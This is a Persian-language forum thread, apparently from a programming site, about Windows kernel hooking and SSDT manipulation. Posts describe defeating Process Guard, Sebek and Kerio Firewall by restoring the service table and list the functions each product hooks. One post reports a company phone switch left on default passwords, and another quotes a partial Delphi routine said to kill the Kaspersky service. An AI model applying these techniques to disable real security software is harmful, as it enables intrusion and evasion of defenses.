DiamondCS Process Guard : راه حل امنیتی متداولی برای حفاظت از پروسه های حساس سیستم و پروسه های مورد نظر ، در مقابل دستکاریهای غیر مجاز و سوء استفاده از مجوز است . روش اصلی این راه حل کنترل توابعی مانند zwCreateFile و ... حفاظت از پروسه است و از دو Hook سطح کاربر و سطح کرنل استفاده میکنه . با تشکر از kd و با تغییر دستی SDT ( یا Service Dispatch Table ) موفق شدم کدهای مورد نظرم رو تو کانتکست پروسه ای نظیر svchost اجرا کنم . این راه حل امنیتی برای رده سنی الف مناسب است .

Sebek : چیزی شبیه یک Honeypot است اما برای بررسی دقیق عملکرد پروسه ها و نحوهء تعامل کاربران و سایر پروسه ها با روندهای جاری سیستم . کامپوننت اولش یک درایور است که فعالیت سیستم رو گزارش میکنه و کامپوننت دوم انالایزری است که عملکردهای گزارش شده رو تجزیه و تحلیل میکنه و در واقع عضو اصلی و قابل بررسی است فایل sebek.sys است . Sebek هم روی Native API هائی مانند zwReadFile و امثال اون Hook نصب میکنه و با تغییر دستی SDT میشه از این توابع بدون نگرانی در مورد Hooker استفاده کرد . این راه حل امنیتی برای Teenager ها مناسب است .

توضیح 1 : تا وقتی توسعه گران روشهای حفاظتی ، نمیدونن سیستم عامل مورد نظرشون ، دقیقا" چطور کار میکنه ، چطور در مورد قابلیتها و میزان اطمینان بخش بودن برنامه هایشان تبلیغ میکنند ؟

توضیح 2 : مطالعه در مورد نحوهء عملکرد Hook و تاثیر SDT : نیم ساعت ؛ توسعه کدی برای تست موارد مورد نظر ( فراخوانی توابع Native و Process Injection ) نیم ساعت ؛ بررسی عملکرد نرم افزار مطلوب با تشکر از سافت آیس : یک ساعت ؛ تست : ده دقیقه .

موفق باشید

----------


## Inprise

به نظر میرسه میزان تغییراتی که مایکروسافت روی کرنل NT برای انتشار لانگهورن ایجاد خواهد کرد بیشتر از اونیه که انتظارش میرفت . نوشته های پراکنده کسانی که در حال بررسی دقیق جوانب مختلف لانگهورن قبل از انتشار اون هستند نشون میده با تغییر بعضی از اجزاء حیاتی کرنل ، خصوصا" معماری NDIS و TDI ، احتمالا" اگر سازگاری با مدل قبلی حفظ نشه ، توسعه گران فایروالهای و آنتی ویروسها مجبور به بازنویسی بخشهای مهمی از نرم افزارهاشون خواهند شد .

----------


## Inprise

Microsoft® Windows® Server 2003 SP1 and later versions of Windows for x64-based systems do not allow the kernel to be patched except through authorized Microsoft-originated hot patches. (In this article, "x64" refers to the 64-bit architecture used in AMD64 and Intel Extended Memory 64 Technology systems.) 

Kernel-mode drivers that extend or replace kernel services through undocumented means (such as hooking the system service tables) can interfere with other software and affect the stability of the operating system. For x86-based systems, Microsoft discourages such practices but does not prevent them programmatically, because doing so would break compatibility for a significant amount of released software. A similar base of released software does not exist for x64-based systems, so it is possible to add this level of protection to the kernel without breaking compatibility.

Many system structures are protected on x64-based systems, including the system service dispatch tables, the interrupt descriptor table (IDT), and the global descriptor table (GDT). The operating system also does not allow third-party software to allocate memory "on the side" and use it as a kernel stack. If the operating system detects one of these modifications or any other unauthorized patch, it will generate a bug check and shut down the system.

For compatibility with Windows for x64-based systems, drivers must avoid the following practices:

• Modifying system service tables, for example, by hooking KeServiceDescriptorTable

• Modifying the IDT

• Modifying the GDT

• Using kernel stacks that are not allocated by the kernel

• Patching any part of the kernel (detected on AMD64-based systems only)


Drivers for other platforms should avoid these practices, to help ensure stability and reliability of the operating system and a better experience for customers.

If your driver must perform a task that you feel cannot be accomplished without patching the kernel, contact Microsoft Product Support Services or your Microsoft representative.

----------


## Inprise

http://sandsprite.com/CodeStuff/ida_n_olly_plugins.html

----------


## Inprise

آنتی هکر کسپراسکی حتی وقتی در حالت Allow All تنظیم شده پکتهای ICMP دریافتی رو دراپ میکنه ؛ یعنی بهر حال با وجود آنتی هکر ، حتی بدون هیچ فیلتری کسی نمیتونه سیستم مذکور رو پینگ کنه .

----------


## Inprise

روی ویستا ، معماری TDI نه تنها تغییر کرده ، که یک جاهائی قراره کاملا" متفاوت عمل کنه ، و حالا واقعا" ایده ای ندارم که فایروالهای سطح کرنل ، قراره برای ویستا بازنویسی بشن ؟! یا قراره ویستا در انتشار نهائی با مدل قبلی TDI باز هم سازگار باشه ؟ مورد دوم به تقریب خوبی منتفیه ، و سوال جدید این خواهد بود که چرا کمپانیهای توسعه گر فایروال و محصولاتی از این دست که بصورت مستقیم با TDI کار میکنند تابحال سر و صدائی نکردند ؟

----------


## Inprise

شاید همیشه برای تجربه کردن یه اتفاق جالب لازم نباشه از یه تکنیک یا روش یا ابزار عمیق استفاده کرد . پسوردهای پیش فرض . دیگه این روزها حتی کودکان دبستانی هم مفهوم Default Password و ریسک امنیتی تغییر ندادن پسوردهای پیش فرض بخشهای مختلف سیستمهای نرم افزاری-سخت افزاری یک چیزهائی شنیده اند ، اما امروز صبح وقتی مشغول بررسی کیفیت ترافیک تلفن یک کمپانی بودم ( دفتر مرکزی : آیداهو - اندازه : لااقل سیصد کارمند تمام وقت در پنج ایالت ) تصادفا" متوجه یکی از سافت سوئیچهاشون شدم که بدون پیکره بندی امن و با پسوردهای پیش فرض از پشت فایروال شرکت براحتی در دسترس بود .









PBX Side این سوئیچ به بیست خط ISDN شهری متصل بود که میتونست بسادگی تماسهای تلفنی ( و دیتا ) با کلیه شهرهای داخل ایالت به رایگان ( هزینه به عهدهء شرکت ) و با هزینه ای نازل به سایر ایالات برقرار کنه ، و البته امکان پخش فایلهای صوتی از پیش ضبط شده نیز موجوده . ( برقراری تماسی که منبع آن مشخص نیست ، این روزها یک تهدید امنیتی جدی برای کشوری مانند ایالات متحده به حساب میاد ؛ پروژه های مانیتورینگ/کنترلی مخابراتی رقمهای میلیاردی دریافت میکنند و دولت فعلی ، حتی مجوز شنود بدون حکم قضائی رو به آژانس امنیت ملی - NSA - داده است )

و حالا جالبه که بدون توجه به میلیونها دلار هزینهء امنیتی ، یک حماقت مدیریتی خیلی خیلی کودکانه ، میتونه چقدر ساده و سهل در دسترس قرار بگیره . بدون تردید ، تروریستهای آینده ، بیشتر از سایرین به اینترنت علاقه مند خواهند بود ...

----------


## Inprise

این بهترین مقاله ایه که این هفته خوندم ، و جالبه که بخش قابل توجهی از کدهاش رو با دلفی نوشته ؛ در واقع این اولین دفعه ای است که یکی از مقالات صفحه اصلی روتکیت دات کام ، برای PoC از دلفی استفاده میکنه . پیش از این فقط HolyFather مولف روتکیت هکردیفندر جرات کرده بود کاری مشابه این انجام بده .

----------


## Inprise

وقتی بعضی از مشخصه های هدر تمام فایلهائی که توسط Morphin تولید میشن ( Packed and Encrypted ) همواره ثابته ، چرا موتورهای هیوریستیک احمق اغلب آنتی ویروسها بیشتر از دو دقیقه زمان لازم دارن تا برای یک on-demand scan ساده یک فایل Morphined رو شناسائی کنن ؟

----------


## Inprise

و جالبترین خبر هفته این بود که عده ای در حال تلاش برای توسعه کد مخرب برای تگ ها رادیوئی هستند . این تگ ها که از RFID استفاده میکنند عموما" برای شناسائی کتابها و اجناس گران قیمت مغازه ها و ردیابی حیوانات اهلی خانگی و امثال این کاربرد دارن و حالا این کدهای مخرب با آلوده کردن میکروچیپ این تگ میتونن جوابهای متفاوت و غیر واقعی تولید کنن یا حتی از تگ به عنوان منبع ارسال سیگنال استفاده کنند ...



http://www.scmagazine.com/uk/news/article/547193/?n=uk
http://www.theregister.co.uk/2006/03...ected_by_virus

----------


## Developer Programmer

هر شب، بعد از خستگی روزانه، میام تا پستهات رو بخونم...اما مدتیه که خبری ازت نیست.

----------


## Best Programmer

امروز کمی بیکار شدم گفتم چندتا نرم افزار و  rootkit را نگاه بندازم:
• Kernel Rootkits
– HE4Hook
• Security Tools
– Sebek Win32
– DiamondCS Process Guard
– Kerio Personal Firewall 4

---------------------------------------------------------------
HE4Hook : 
HE4Hook برای مخفی کردن بوسیله hook کردن توابع زیر کار میکنه :
ZwCreateFile 20 --[hooked by unknown at 81222476]--
ZwOpenFile 64 --[hooked by unknown at 812224A8]--
ZwQueryDirectoryFile 7D --[hooked by unknown at 812224D2]--
یا hook کردن جدولهای callback درون فایل درایور سیستم.

به راحتی با بازگرداندن جدول سرویس غیرفعال گردد.
----------------------------------------------------------------
Sebek Win32 :
توابع زیر را hook می کند :
ZwClose 18 SEBEK.sys [F729A092]
ZwCreateFile 20 SEBEK.sys [F729A98C]
ZwCreateKey 23 SEBEK.sys [F729AD10]
ZwEnumerateKey 3C SEBEK.sys [F729AE02]
ZwEnumerateValueKey 3D SEBEK.sys [F729AA50]
ZwOpenFile 64 SEBEK.sys [F729A8E6]
ZwOpenKey 67 SEBEK.sys [F729AD88]
ZwQueryDirectoryFile 7D SEBEK.sys [F729A4CC]
ZwQuerySystemInformation 97 SEBEK.sys [F729A5F0]
ZwReadFile A1 SEBEK.sys [F7299CF0]
ZwRequestWaitReplyPort B0 SEBEK.sys [F7299F14]
ZwSecureConnectPort B8 SEBEK.sys [F7299FE6]
ZwWriteFile ED SEBEK.sys [F7299D48]

این توابع hook  میشوند تا 
1: sebek.sys را مخفی کنند
2: register key های که در فرایند لود sebek.sys قرار دارند را مخفی کنند.
3: توابع ZwReadFile/ZwWriteFile برای لاگ کردن Cmd.exe

بازگرداندن جدول سرویس کاملا لاگ کردن و مخی سازی sebek را غیر فعال می کند.
----------------------------------------------------------------
DiamondCS Process Guard :
توابع زیر را hook می کند :
ZwCreateFile 20 \??\C:\WINNT\System32\drivers\procguard.sys
[F7392D8A]
ZwCreateKey 23 \??\C:\WINNT\System32\drivers\procguard.sys
[F7391F98]
ZwCreateThread 2E \??\XXXXXX\System32\drivers\procguard.sys
[F73924FC]
ZwOpenFile 64 \??\XXXXXX\System32\drivers\procguard.sys
[F7392C62]
ZwOpenKey 67 \??\XXXXXXT\System32\drivers\procguard.sys
[F7391F64]
ZwOpenProcess 6A \??\XXXXXX\System32\drivers\procguard.sys
[F739289E]
ZwOpenThread 6F \??\XXXXXX\System32\drivers\procguard.sys
[F73926F8]
ZwRequestWaitReplyPort B0 \??\XXXXXX\System32\drivers\procguard.sys
[F7390AE6]
ZwSetValueKey D7 \??\XXXXXX\System32\drivers\procguard.sys
[F739224E]
ZwWriteVirtualMemory F0 \??\XXXXXX\System32\drivers\procguard.sys

بازگرداندن جدول سرویس فرایند جلوگیری terminate را از بین می برد :D
----------------------------------------------------------------
Kerio Personal Firewall 4
توابع زیر را hook می کند 
 ZwCreateFile 20 \SystemRoot\system32\drivers\fwdrv.sys [BFBD3830]
ZwCreateProcess 29 \SystemRoot\system32\drivers\fwdrv.sys [BFBD3380]
ZwCreateThread 2E \SystemRoot\system32\drivers\fwdrv.sys [BFBD35E0]
ZwResumeThread B5 \SystemRoot\system32\drivers\fwdrv.sys [BFBD3630] 
بازگرداندن جدول سرویس این فایروال را غیرفعال می سازد.

البته همین جا از آقای ایپرایز که واقعا باعث پیشرفت من همیشه شده اند تشکر می کنم.

----------


## jalilmousavi

> بالاخره تونستم روی Ring3 سرویس KAspersky رو Terminate کنم ؛  :wise1: 
> 
> Function DebugKillProcess(ProcessId: dword): boolean;
> var
>  pHandle: dword;
>  myPID: dword;
>  HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
>  r: dword;
> begin
> ...


با تشکر لطفا بگوئید که تایپ PSYSTEM_HANDLE_INFORMATION_EX از کجا آمده است.

----------

